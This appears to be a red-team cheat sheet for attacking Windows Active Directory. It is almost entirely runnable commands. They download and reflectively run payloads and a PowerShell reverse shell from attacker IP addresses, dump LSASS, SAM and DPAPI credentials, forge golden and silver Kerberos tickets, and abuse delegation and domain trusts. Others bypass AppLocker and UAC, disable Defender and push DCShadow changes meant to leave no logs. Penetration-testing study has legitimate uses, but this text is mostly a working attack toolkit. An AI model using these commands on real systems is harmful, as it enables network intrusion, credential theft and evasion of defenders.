Ensure that the referenced class and main methods are public before running this. Note that a process-wide AMSI bypass may be required for this to work if the content is detected, refer here for details.
# Download and run assembly without arguments$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')$assem = [System.Reflection.Assembly]::Load($data)[rev.Program]::Main()# Download and run Rubeus, with arguments (make sure to split the args)$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')$assem = [System.Reflection.Assembly]::Load($data)[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())# Execute a specific method from an assembly (e.g. a DLL)$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')$assem = [System.Reflection.Assembly]::Load($data)$class = $assem.GetType("ClassLibrary1.Class1")$method = $class.GetMethod("runner")$method.Invoke(0,$null)
PowerShell - Download file
# Any version(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1","C:\Windows\Temp\PowerUp.ps1")# Powershell 4+## You can use 'IWR' as a shorthandInvoke-WebRequest"http://10.10.16.7/Rev.exe"-OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe"
Encoded commands
Base64-encode a PowerShell command in the right format:
# Get all users in the current domainGet-DomainUser| select -ExpandProperty cn# Get all computers in the current domainGet-DomainComputer# Get all domains in current forestGet-ForestDomain# Get domain/forest trustsGet-DomainTrustGet-ForestTrust# Get information for the DA groupGet-DomainGroup"Domain Admins"# Find members of the DA groupGet-DomainGroupMember"Domain Admins"| select -ExpandProperty membername# Find interesting shares in the domain, ignore default shares, and check accessFind-DomainShare-ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess# Get OUs for current domainGet-DomainOU-FullData# Get computers in an OU# %{} is a looping statementGet-DomainOU-name Servers |%{ Get-DomainComputer-SearchBase $_.distinguishedname } | select dnshostname# Get GPOs applied to a specific OUGet-DomainOU*WS*| select gplinkGet-DomainGPO-Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domainGet-DomainGPOLocalGroup-ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers# Get the computers where users are part of a local group through a GPO restricted groupGet-DomainGPOUserLocalGroupMapping-LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName# Find principals that can create new GPOs in the domainGet-DomainObjectAcl-SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com"-ResolveGUIDs |?{ $_.ObjectAceType-eq"Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier# Find principals that can link GPOs to OUsGet-DomainOU|Get-DomainObjectAcl-ResolveGUIDs |? { $_.ObjectAceType-eq"GP-Link"-and$_.ActiveDirectoryRights-match"WriteProperty" } | select ObjectDN, SecurityIdentifier# Get incoming ACL for a specific objectGet-DomainObjectAcl-SamAccountName "Domain Admins"-ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights# Find interesting ACLs for the entire domain, show in a readable (left-to-right) formatFind-InterestingDomainAcl| select identityreferencename,activedirectoryrights,acetype,objectdn |?{$_.IdentityReferenceName-NotContains"DnsAdmins"} | ft# Get interesting outgoing ACLs for a specific user or group# ?{} is a filter statementFind-InterestingDomainAcl-ResolveGUIDs |?{$_.IdentityReference-match"Domain Admins"} | select ObjectDN,ActiveDirectoryRights
AppLocker
Identify the local AppLocker policy. Look for exempted binaries or paths to bypass.
Use LOLBAS if only (Microsoft-)signed binaries are allowed.
If binaries from C:\Windows are allowed (default behavior), try dropping your binaries to C:\Windows\Temp or C:\Windows\Tasks. If there are no writable subdirectories but writable files exist in this directory tree, write your file to an alternate data stream (e.g. a JScript script) and execute it from there.
Wrap your binaries in a DLL file and execute them with rundll32 to bypass executable rules if DLL execution is not enforced (default behavior).
If binaries like Python are allowed, use those. If that doesn’t work, try other techniques such as wrapping JScript in a HTA file or running XSL files with wmic.
Otherwise elevate your privileges. AppLocker rules are most often not enforced for (local) administrative users.
PowerShell Constrained Language Mode
You can identify you’re in constrained language mode by polling the following variable to get the current language mode. It will say FullLanguage for an unrestricted session, and ConstrainedLanguage for CLM.
$ExecutionContext.SessionState.LanguageMode
The constraints posed by CLM will block many of your exploitations attempts as key functionality in PowerShell is blocked. Bypassing CLM is largely the same as bypassing AppLocker as discussed above.
Another quick and dirty bypass is to use in-line functions, which sometimes works. If e.g. whoami is blocked, try the following:
&{whoami}
LAPS
The permission ReadLAPSPassword grants users or groups the ability to read the ms-Mcs-AdmPwd property and as such get the local admin password. We can also use PowerView to read the password, if we know that we have the right ReadLAPSPassword privilege to a machine.
We can also use LAPSToolkit.ps1 to identify which machines in the domain use LAPS, and which principals are allowed to read LAPS passwords. If we are in this group, we can get the current LAPS passwords using this tool as well.
# Get computers running LAPS, along with their passwords if we're allowed to read thoseGet-LAPSComputers# Get groups allowed to read LAPS passwordsFind-LAPSDelegatedGroups
Lateral Movement
Lateral Movement Enumeration With PowerView
# Find existing local admin access for user (noisy 🚩)Find-LocalAdminAccess# Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)Find-DomainUserLocation-CheckAccess |?{$_.LocalAdmin-Eq True }# Look for kerberoastable usersGet-DomainUser-SPN | select name,serviceprincipalname# Look for AS-REP roastable usersGet-DomainUser-PreauthNotRequired | select name# Look for interesting ACL within the domain, filtering on a specific user or group you have compromised## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)Find-InterestingDomainAcl-ResolveGUIDs |?{$_.IdentityReferenceName-match"UserOrGroupToQuery"}# Look for servers with Unconstrained Delegation enabled## If available and you have admin privs on this server, get user TGT (see below)Get-DomainComputer-Unconstrained# Look for users or computers with Constrained Delegation enabled## If available and you have user/computer hash, access service machine as DA (see below)Get-DomainUser-TrustedToAuth | select userprincipalname,msds-allowedtodelegatetoGet-DomainComputer-TrustedToAuth | select name,msds-allowedtodelegateto
BloodHound
Use Invoke-BloodHound from SharpHound.ps1, or use SharpHound.exe. Both can be run reflectively, get them here. Examples below use the PowerShell variant but arguments are identical.
# Run all checks, including restricted groups enforced through the domain 🚩Invoke-BloodHound-CollectionMethod All,GPOLocalGroup# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩Invoke-BloodHound-CollectionMethod LoggedOn
For real engagements definitely look into the various arguments that BloodHound provides for more stealthy collection and exfiltration of data.
# Request TGS for kerberoastable account (SPN)Add-Type-AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com"# Dump TGS to diskInvoke-Mimikatz-Command '"kerberos::list /export"'# Crack with TGSRepCrackpython.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi
Targeted kerberoasting by setting SPN
We need have ACL write permissions to set UserAccountControl flags for the target user, see above for identification of interesting ACLs. Using PowerView:
Tokens can be impersonated from other users with a session/running processes on the machine. Most C2 frameworks have functionality for this built-in (such as the ‘Steal Token’ functionality in Cobalt Strike).
Incognito
# Show tokens on the machine.\incognito.exe list_tokens -u# Start new process with token of a specific user.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe
If you’re using Meterpreter, you can use the built-in Incognito module with use incognito, the same commands are available.
Invoke-TokenManipulation
# Show all tokens on the machineInvoke-TokenManipulation-ShowAll# Show only unique, usable tokens on the machineInvoke-TokenManipulation-Enumerate# Start new process with token of a specific userInvoke-TokenManipulation-ImpersonateUser -Username "domain\user"# Start new process with token of another processInvoke-TokenManipulation-CreateProcess "C:\Windows\system32\calc.exe"-ProcessId 500
Lateral Movement with Rubeus
We can use Rubeus to execute a technique called “Overpass-the-Hash”. In this technique, instead of passing the hash directly (another technique known as Pass-the-Hash), we use the NTLM hash of an account to request a valid Kerberost ticket (TGT). We can then use this ticket to authenticate towards the domain as the target user.
# Request a TGT as the target user and pass it into the current session# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt# More stealthy variant, but requires the AES256 key (see 'Dumping OS credentials with Mimikatz' section).\Rubeus.exe asktgt /user:Administrator /aes256:[AES256KEY] /opsec /ptt# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation).\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
Once we have a TGT as the target user, we can use services as this user in a domain context, allowing us to move laterally.
Lateral Movement with Mimikatz
Note that Mimikatz is incredibly versatile and is discussed in multiple sections throughout this blog. Because of this, however, the binary is also very well-detected. If you need to run Mimikatz on your target (not recommended), executing a custom version reflectively is your best bet. There are also options such as Invoke-MimiKatz or Safetykatz. Note that the latter is more stealthy but does not include all functionality.
# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)
sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe
# Or, a more opsec-safe version that uses the AES256 key (similar to with Rubeus above) - works for multiple Mimikatz commands
sekurlsa::pth /user:Administrator /domain:targetdomain.com /aes256:[AES256KEY] /run:powershell.exe
# Golden ticket (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
# Silver ticket for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
Plaintext
A nice overview of the SPNs relevant for offensive purposes is provided here (scroll down) and here.
Command execution with scheduled tasks
Requires ‘Host’ SPN
To create a task:
# Mind the quotes. Use encoded commands if quoting becomes too much of a painschtasks /create /tn "shell"/ru "NT Authority\SYSTEM"/s dc.targetdomain.com/sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"
# with passwordimpacket-wmiexecDOMAIN/targetuser:password@172.16.4.101# with hashimpacket-wmiexecDOMAIN/targetuser@172.16.4.101-hashes:e0e223d63905f5a7796fb1006e7dc594# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)impacket-wmiexecDOMAIN/targetuser@172.16.4.101-no-pass-k
Bash
Command execution with PowerShell Remoting
Requires ‘CIFS’ and ‘HTTP’ SPNs. May also need the ‘WSMAN’ or ‘RPCSS’ SPNs (depending on OS version)
# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)# Leave out -Credential $Cred in the below commands to run as the current user instead$SecPassword =ConvertTo-SecureString'VictimUserPassword'-AsPlainText -Force$Cred =New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $SecPassword)# Run a command remotely (can be used on multiple machines at once)Invoke-Command-Credential $Cred -ComputerName dc.targetdomain.com-ScriptBlock {whoami; hostname}# Launch a session as another user (prompt for password instead, for use with e.g. RDP)Enter-PsSession-ComputerName dc.targetdomain.com-Credential DOMAIN/targetuser# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt$sess =New-PsSession-Credential $Cred -ComputerName dc.targetdomain.comInvoke-Command-Session $sess -FilePath c:\path\to\file.ps1Enter-PsSession-Session $sess# Copy files to or from an active PowerShell remoting sessionCopy-Item-Path .\Invoke-Mimikatz.ps1-ToSession $sess -Destination "C:\Users\public\"
PowerShell
Unconstrained delegation
Unconstrained Delegation can be set on a frontend service (e.g., an IIS web server) to allow it to delegate on behalf of a user to any service in the domain (towards a backend service, such as an MSSQL database).
DACL UAC property: TrustedForDelegation.
Exploitation
With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. If we do this successfully, we can impersonate the victim user towards any service in the domain.
.\Rubeus.exe triage.\Rubeus.exe dump /luid:0x5379f2/nowrap.\Rubeus.exe ptt /ticket:doIFSDCC[...]
PowerShell
We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. If we do this successfully, we can DCSync the domain controller (see below) to completely compromise the current domain.
On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.
.\Rubeus.exe monitor /interval:5/nowrap
PowerShell
From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from here.
The TGT for the machine account of the DC should come in in the first session. We can pass this ticket into our current session to gain DCSync privileges (see below).
.\Rubeus.exe ptt /ticket:doIFxTCCBc...
PowerShell
Constrained delegation
Constrained delegation can be set on the frontend server (e.g. IIS) to allow it to delegate to only selected backend services (e.g. MSSQL) on behalf of the user.
DACL UAC property: TrustedToAuthForDelegation. This allows s4u2self, i.e. requesting a TGS on behalf of anyone to oneself, using just the NTLM password hash. This effectively allows the service to impersonate other users in the domain with just their hash, and is useful in situations where Kerberos isn’t used between the user and frontend.
DACL Property: msDS-AllowedToDelegateTo. This property contains the SPNs it is allowed to use s4u2proxy on, i.e. requesting a forwardable TGS for that server based on an existing TGS (often the one gained from using s4u2self). This effectively defines the backend services that constrained delegation is allowed for.
NOTE: These properties do NOT have to exist together! If s4u2proxy is allowed without s4u2self, user interaction is required to get a valid TGS to the frontend service from a user, similar to unconstrained delegation.
Exploitation
In this case, we use Rubeus to automatically request a TGT and then a TGS with the ldap SPN to allow us to DCSync using a machine account.
# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user).\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com/rc4:2892D26CDF84D7A70E2EB3B9F05C425E# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN.\Rubeus.exe s4u /ticket:doIE+jCCBP.../impersonateuser:Administrator /msdsspn:time/dc /ptt# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync).\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
PowerShell
Resource-based constrained delegation
Resource-Based Constrained Delegation (RBCD) configures the backend server (e.g. MSSQL) to allow only selected frontend services (e.g. IIS) to delegate on behalf of the user. This makes it easier for specific server administrators to configure delegation, without requiring domain admin privileges.
In this scenario, s4u2self and s4u2proxy are used as above to request a forwardable ticket on behalf of the user. However, with RBCD, the KDC checks if the SPN for the requesting service (i.e., the frontend service) is present in the msDS-AllowedToActOnBehalfOfOtherIdentity property of the backend service. This means that the frontend service needs to have an SPN set. Thus, attacks against RBCD have to be performed from either a service account with SPN or a machine account.
Exploitation
If we compromise a frontend service that appears in the RBCD property of a backend service, exploitation is the same as with constrained delegation above. This is however not too common.
A more often-seen attack to RBCD is when we have GenericWrite, GenericAll, WriteProperty, or WriteDACL permissions to a computer object in the domain. This means we can write the msDS-AllowedToActOnBehalfOfOtherIdentity property on this machine account to add a controlled SPN or machine account to be trusted for delegation. We can even create a new machine account and add it. This allows us to compromise the target machine in the context of any user, as with constrained delegation.
# Create a new machine account using PowerMadNew-MachineAccount-MachineAccount NewMachine -Password $(ConvertTo-SecureString'P4ssword123!'-AsPlainText -Force)# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target$sid =Get-DomainComputer-Identity NewMachine -Properties objectsid | Select -Expand objectsid$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"$SDbytes =New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDbytes,0)# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the targetGet-DomainComputer-Identity TargetSrv |Set-DomainObject-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target.\Rubeus.exe s4u /user:NewMachine$ /rc4:A9A70FD4DF48FBFAB37E257CFA953312 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com/ptt
PowerShell
Abusing domain trust
All commands must be run with DA privileges in the current domain.
Note that if you completely compromise a child domain (currentdomain.targetdomain.com), you can by definition also compromise the parent domain (targetdomain.com) due to the implicit trust relationship. The same counts for any trust relationship where SID filtering is disabled (see ‘Abusing inter-forest trust’ below).
Using domain trust key
From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain’s enterprise admins group to our ‘SID history’.
From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.
Doing this requires the SID of the current domain as the /sid parameter, and the SID of the target domain as part of the /sids parameter. You can grab these using PowerView’s Get-DomainSID. Use a SID History (/sids) of *-516 and S-1-5-9 to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.
We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.
Abusing inter-forest trust
Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use BloodHound or PowerView to hunt for foreign group memberships between forests. The PowerView command:
In some cases, it is possible that SID filtering (the protection causing the above), is disabled between forests. If you run Get-DomainTrust and you see the TREAT_AS_EXTERNAL property, this is the case! In this case, you can abuse the forest trust like a domain trust, as described above. Note that you still can NOT forge a ticket for any SID between 500 and 1000 though, so you can’t become DA (not even indirectly through group inheritance). In this case, look for groups that grant e.g. local admin on the domain controller or similar non-domain privileges. For more information, refer to this blog post.
To impersonate a user from our source domain to access services in a foreign domain, we can do the following. Extract inter-forest trust key as in ‘Using domain trust key’ above.
Use Mimikatz to generate a TGT for the target domain using the trust key:
Now we can use the CIFS service on the target forest’s DC as the DA of our source domain (again, as long as this trust was configured to exist).
Abusing MSSQL databases for lateral movement
MSSQL databases can be linked, such that if you compromise one you can execute queries (or even OS commands!) on other databases in the context of a specific user (sa maybe? 😙). If this is configured, it can even be used to traverse Forest boundaries! If we have SQL execution, we can use the following commands to enumerate database links.
-- Find linked serversEXEC sp_linkedservers-- Run SQL query on linked serverselect mylogin fromopenquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabledEXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVEREXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVEREXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
SQL
We can also use PowerUpSQL to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or commands on, linked databases (even through multiple layers of database links).
# Get MSSQL databases in the domain, and test connectivityGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded| ft# Try to get information on all domain databasesGet-SQLInstanceDomain|Get-SQLServerInfo# Get information on a single reachable databaseGet-SQLServerInfo-Instance TARGETSERVER# Scan for MSSQL misconfigurations to escalate to SAInvoke-SQLAudit-Verbose -Instance TARGETSERVER# Execute SQL queryGet-SQLQuery-Query "SELECT system_user"-Instance TARGETSERVER# Run command (enables XP_CMDSHELL automatically if required)Invoke-SQLOSCmd-Instance TARGETSERVER -Command "whoami"| select -ExpandProperty CommandResults# Automatically find all linked databasesGet-SqlServerLinkCrawl-Instance TARGETSERVER | select instance,links | ft# Run command if XP_CMDSHELL is enabled on any of the linked databasesGet-SqlServerLinkCrawl-Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"'| select instance,links,customquery | ftGet-SqlServerLinkCrawl-Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"'| select instance,links,customquery | ft
PowerShell
If you have low-privileged access to a MSSQL database and no links are present, you could potentially force NTLM authentication by using the xp_dirtree stored procedure to access this share. If this is successful, the NetNTLM for the SQL service account can be collected and potentially cracked or relayed to compromise machines as that service account.
EXECmaster..xp_dirtree "\\192.168.49.67\share"
SQL
Example command to relay the hash to authenticate as local admin (if the service account has these privileges) and run calc.exe. Omit the -c parameter to attempt a secretsdump instead.
If we identify that we have the permissions to edit and link new Group Policy Objects (GPOs) within the domain (refer to ‘AD Enumeration With PowerView’), we can abuse these privileges to move laterally towards other machines.
As an example, we can use the legitimate Remote System Administration Tools (RSAT) for Windows to create a new GPO, link it to the target, and deploy a registry runkey to add a command that will run automatically the next time the machine boots.
# Create a new GPO and link it to the target serverNew-GPO-Name 'Totally Legit GPO'|New-GPLink-Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'# Link an existing GPO to another target serverNew-GPLink-Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com'-Name 'Totally Legit GPO'# Deploy a registry runkey via the GPOSet-GPPrefRegistryValue-Name 'Totally Legit GPO'-Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'-ValueName 'Updater'-Value 'cmd.exe /c calc.exe'-Type ExpandString
PowerShell
We can also use SharpGPOAbuse to deploy an immediate scheduled task, which will run whenever the group policy is refreshed (every 1-2 hours by default). SharpGPOABuse does not create its own GPO objects, so we first have to run the commands for creating and linking GPOs listed above. After this, we can run SharpGPOAbuse to deploy the immediate task.
# Check for vulnerable programs and configsInvoke-AllChecks# Exploit vulnerable service permissions (does not require touching disk)Invoke-ServiceAbuse-Name "VulnerableSvc"-Command "net localgroup Administrators DOMAIN\user /add"# Exploit an unquoted service path vulnerability to spawn a beaconWrite-ServiceBinary-Name 'VulnerableSvc'-Command 'c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update'-Path 'C:\Program Files\VulnerableSvc'# Restart the service to exploit (not always required)net.exe stop VulnerableSvcnet.exe start VulnerableSvc
# Generate EncodedCommandecho-n'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update'|base64# Use SharpBypassUAC e.g. from a CobaltStrike beaconbeacon> execute-assembly/opt/SharpBypassUAC/SharpBypassUAC.exe-beventvwr-eY21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==
Bash
In some cases, you may get away better with running a manual UAC bypass, such as the FODHelper bypass which is quite simple to execute in PowerShell.
# The command to execute in high integrity context$cmd ="cmd /c start powershell.exe"# Set the registry valuesNew-Item"HKCU:\Software\Classes\ms-settings\Shell\Open\command"-ForceNew-ItemProperty-Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command"-Name "DelegateExecute"-Value ""-ForceSet-ItemProperty-Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command"-Name "(default)"-Value $cmd -Force# Trigger fodhelper to perform the bypassStart-Process"C:\Windows\System32\fodhelper.exe"-WindowStyle Hidden# Clean registryStart-Sleep3Remove-Item"HKCU:\Software\Classes\ms-settings\"-Recurse -Force
PowerShell
Persistence
Startup folder
Just drop a binary. Classic. 😎🚩
In current user folder, will trigger when current user signs in:
Or in the global startup folder, requires administrative privileges but will trigger as SYSTEM on boot and in a user context whenever any user signs in:
Now we can login remotely using the local admin hash dumped on the DC before (with lsadump::sam, see ‘Dumping secrets with Mimikatz’ below). Use e.g. ‘overpass-the-hash’ to get a session (see ‘Mimikatz’ above).
Modifying security descriptors for remote WMI access
Give user WMI access to a machine, using Set-RemoteWMI cmdlet from Nishang. Can be run to persist access to e.g. DCs.
Modifying DC registry security descriptors for remote hash retrieval using DAMP
Using DAMP toolkit, we can backdoor the DC registry to give us access on the SAM, SYSTEM, and SECURITY registry hives. This allows us to remotely dump DC secrets (hashes).
We add the backdoor using the Add-RemoteRegBackdoor.ps1 cmdlet from DAMP.
Dump secrets remotely using the RemoteHashRetrieval.ps1 cmdlet from DAMP (run as ‘BackdoorUser’ user).
# Get machine account hash for silver ticket attackGet-RemoteMachineAccountHash-ComputerName DC01# Get local account hashesGet-RemoteLocalAccountHash-ComputerName DC01# Get cached credentials (if any)Get-RemoteCachedCredential-ComputerName DC01
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DCShadow
DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.
Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses Set-DCShadowPermissions.ps1 cmdlet).
Then, from any machine, use Mimikatz to stage the DCShadow attack.
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])
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Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs 😈
lsadump::dcshadow /push
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Post-Exploitation
LSASS protection
Sometimes, LSASS is configured to run as a protected process (PPL). You can query this with PowerShell as follows.
If this is the case, you can’t just dump or parse LSASS, and you need to disable the protection with something like mimidrv.sys. I won’t discuss how to do that here, but there are tools such as PPLDump available to help.
Dumping OS credentials with Mimikatz
# Dump logon passwords
sekurlsa::logonpasswords
# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
lsadump::lsa /patch
# Dump only local users
lsadump::sam
# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com
# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
vault::list
vault::cred /patch
# Dump Kerberos encryption keys, including the AES256 key for better opsec (see 'Lateral Movement with Rubeus' section)
sekurlsa::ekeys
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Abusing the Data Protection API (DPAPI) with Mimikatz
Mimikatz has quite some functionality to access Windows' DPAPI, which is used to encrypt many credentials, including e.g. browser passwords.
Note that Mimikatz will automatically cache the master keys that it has seen (check cache with dpapi::cache), but this does NOT work if no Mimikatz session is persisted (e.g. in Cobalt Strike or when using Invoke-Mimikatz). More information on using Mimikatz for DPAPI is available here.
# Find the IDs of protected secrets for a specific user
dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials
# Get information, including the used master key ID, from a specific secret (take the path from above)
dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3
# IF YOU ARE PRIVILEGED
# Dump all master keys from the current system
sekurlsa::dpapi
# IF YOU ARE NOT PRIVILEGED (session as target user required)
# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4
# Decrypt the secret using the retrieved master key
# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
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Dumping secrets without Mimikatz
We can also parse system secrets without using Mimikatz on the target system directly.
Dumping LSASS
The preferred way to run Mimikatz is to do it locally with a dumped copy of LSASS memory from the target. Dumpert, Procdump, or other (custom) tooling can be used to dump LSASS memory.
# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly.\procdump.exe-r -ma lsass.exe lsass.dmp
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After downloading the memory dump file on our attacking system, we can run Mimikatz and switch to ‘Minidump’ mode to parse the file as follows. After this, we can run Mimikatz' credential retrieval commands as usual.
sekurlsa::minidump lsass.dmp
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Dumping secrets from the registry
We can dump secrets from the registry and parse the files “offline” to get a list of system secrets. 🚩
On the target, we run the following:
reg.exe save hklm\sam c:\users\public\downloads\sam.savereg.exe save hklm\system c:\users\public\downloads\system.savereg.exe save hklm\security c:\users\public\downloads\security.save
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Then on our attacking box we can dump the secrets with Impacket:
We can also create a “Volume Shadow Copy” of the SAM and SYSTEM files (which are always locked on the current system), so we can still copy them over to our local system. An elevated prompt is required for this.
If you’re more aggro, you can disable Defender entirely. It goes without saying that disabling AV/EDR products is never a good idea in practice, best to work around it instead. 🚩
# Disable realtime monitoring altogetherSet-MpPreference-DisableRealtimeMonitoring $true# Only disables scanning for downloaded files or attachmentsSet-MpPreference-DisableIOAVProtection $true
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As an alternative to disabling Defender, you can leave it enabled and just remove all virus signatures from it.
If you need to proxy traffic over a compromised Windows machine, Chisel (or SharpChisel) is a good choice. Chisel allows port forwarding, but my favorite technique is setting up a reverse SOCKS proxy on the target machine, allowing you to tunnel any traffic over the target system.
On our attacking machine (Linux in this case), we start a Chisel server on port 80 in reverse SOCKS5 mode.
sudo./chiselserver-p80--reverse--socks5
